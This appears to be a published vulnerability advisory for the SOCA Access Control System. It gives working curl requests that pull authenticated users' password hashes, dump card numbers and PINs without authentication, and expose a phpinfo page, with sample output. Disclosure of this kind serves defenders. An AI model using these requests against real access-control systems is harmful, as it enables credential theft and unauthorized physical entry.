SOCA Access Control System 180612 Information Disclosure


Vendor: SOCA Technology Co., Ltd
Product web page: http://www.socatech.com
Affected version: 180612, 170000 and 141007

Summary: The company's products include proximity and fingerprint access
control system, time and attendance, electric locks, card reader and writer,
keyless entry system and other 30 specialized products. All products are
attractively designed with advanced technology in accordance with users'
safety and convenience which also fitted international standard.

Desc: Insecure direct object references occur when an application provides
direct access to objects based on user-supplied input. As a result of this
vulnerability attackers can bypass authorization and access resources and
functionalities in the system.

Tested on: Windows NT 6.1 build 7601 (Windows 7 Service Pack 1) i586
           Windows NT 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
           Apache/2.2.22 (Win32)
           PHP/5.4.13
           Firebird/InterBase DBMS


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5517
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5517.php


20.04.2018

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Authenticated users password hash disclosure via Get_Permissions_From_DB.php:
-----------------------------------------------------------------------------

# curl -s http://10.0.0.3/Permission/Get_Permission_From_DB.php -H "Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

[{"Idx":1,"Id":"USER","Password":"4a7d1ed414474e4033ac29ccb8653d9b","Access":"ffffff00ff00ffffff00"},{"Idx":2,"Id":"soca","Password":"3c0d71fab22bc8703324e06d59a81700","Access":"ffffff00ff00ffffff00"}]


Unauthenticated users passwords (pins) disclosure via Ac10_ReadSortCard:
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# curl -X POST http://10.0.0.3/cgi-bin/Reader_Action.cgi/Ac10_ReadSortCard --data "Reader=%7B%22Idx%22%3A5%2C%22Model%22%3A502%2C%22Comm%22%3A%22TCP%2C10.0.0.3%2C4444%22%2C%22Timeout%22%3A1%2C%22SubNames%22%3A%7B%221%22%3A%22%22%2C%222%22%3A%22%22%2C%223%22%3A%22%22%2C%224%22%3A%22%22%2C%225%22%3A%22%22%2C%226%22%3A%22%22%2C%227%22%3A%22%22%2C%228%22%3A%22%22%7D%2C%22CreateTime%22%3A%222016-04-28+15%3A57%3A31%22%2C%22EditTime%22%3A%222018-12-26+17%3A14%3A37%22%2C%22Polling%22%3A1%2C%22Done%22%3Afalse%7D&Section=17" -s |grep Password |lolcat

{"cmd":"readcard","success":true,"Reader":{"Idx":5,"Model":502,"SubNames":
{"8":"","7":"","6":"","5":"","4":"","3":"","2":"","1":""},"No":1,"Polling":
1,"EditTime":"2018-12-26 17:14:37","Name":"READER017","Done":false,"Comm":"TCP,10.0.0.3,4444",
"Timeout":1,"CreateTime":"2016-04-28 15:57:31"},"Section":17,"Cards":[
{"Card":"3758236739","Password":"0000","Timezone":"1"},{"Card":"3758294894","Password":"0000","Timezone":"1"},
{"Card":"3758393748","Password":"0000","Timezone":"1"},{"Card":"3758397434","Password":"0000","Timezone":"1"},
{"Card":"3758526944","Password":"0000","Timezone":"1"},{"Card":"3758556239","Password":"0000","Timezone":"1"},
{"Card":"3759183323","Password":"0000","Timezone":"1"},{"Card":"3759289453","Password":"0000","Timezone":"1"},
{"Card":"3759444892","Password":"0000","Timezone":"1"},{"Card":"3759608121","Password":"0000","Timezone":"1"},
{"Card":"3759700024","Password":"0000","Timezone":"1"},{"Card":"3760195859","Password":"0000","Timezone":"1"},
{"Card":"3760330834","Password":"0000","Timezone":"1"},{"Card":"3760455789","Password":"0000","Timezone":"1"},
{"Card":"3760493498","Password":"0000","Timezone":"1"},{"Card":"3760555917","Password":"0000","Timezone":"1"},
{"Card":"3760674062","Password":"0000","Timezone":"1"},{"Card":"3761256706","Password":"0000","Timezone":"1"},
{"Card":"3761275358","Password":"0000","Timezone":"1"},{"Card":"3761386285","Password":"0000","Timezone":"1"},
{"Card":"3761398620","Password":"0000","Timezone":"1"},{"Card":"3761452653","Password":"0000","Timezone":"1"},
{"Card":"3761514319","Password":"0000","Timezone":"1"},{"Card":"3761543092","Password":"0000","Timezone":"1"},
{"Card":"3761766657","Password":"0000","Timezone":"1"},{"Card":"3761783860","Password":"0000","Timezone":"1"},
{"Card":"3762311449","Password":"0000","Timezone":"1"},{"Card":"3762313335","Password":"0000","Timezone":"1"},
{"Card":"3762328203","Password":"0000","Timezone":"1"},{"Card":"3762384973","Password":"0000","Timezone":"1"},
{"Card":"3762647673","Password":"0000","Timezone":"1"},{"Card":"3762688310","Password":"0000","Timezone":"1"},
{"Card":"3762771467","Password":"0000","Timezone":"1"},{"Card":"3762827566","Password":"0000","Timezone":"1"},
{"Card":"3762843960","Password":"0000","Timezone":"1"},{"Card":"3762910530","Password":"0000","Timezone":"1"},
{"Card":"3763344650","Password":"0000","Timezone":"1"},{"Card":"3763417869","Password":"0000","Timezone":"1"},
{"Card":"3763492897","Password":"0000","Timezone":"1"},{"Card":"3763734440","Password":"0000","Timezone":"1"},
{"Card":"3763865189","Password":"0000","Timezone":"1"},{"Card":"3763889211","Password":"0000","Timezone":"1"},
{"Card":"3764619719","Password":"0000","Timezone":"1"},{"Card":"3764811544","Password":"0000","Timezone":"1"},
{"Card":"3764846862","Password":"0000","Timezone":"1"},{"Card":"3765568542","Password":"0000","Timezone":"1"},
{"Card":"3765790491","Password":"0000","Timezone":"1"},{"Card":"3765917518","Password":"0000","Timezone":"1"},
{"Card":"3765962614","Password":"0000","Timezone":"1"},{"Card":"3765978672","Password":"0000","Timezone":"1"},
{"Card":"3766032648","Password":"0000","Timezone":"1"},{"Card":"3766498811","Password":"0000","Timezone":"1"},
{"Card":"3766625241","Password":"0000","Timezone":"1"},{"Card":"3766970803","Password":"0000","Timezone":"1"},
{"Card":"3767105946","Password":"0000","Timezone":"1"},{"Card":"3767601584","Password":"0000","Timezone":"1"},
...
...
...


phpinfo() disclosure:
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# curl -s http://10.0.0.3/phpinfo.php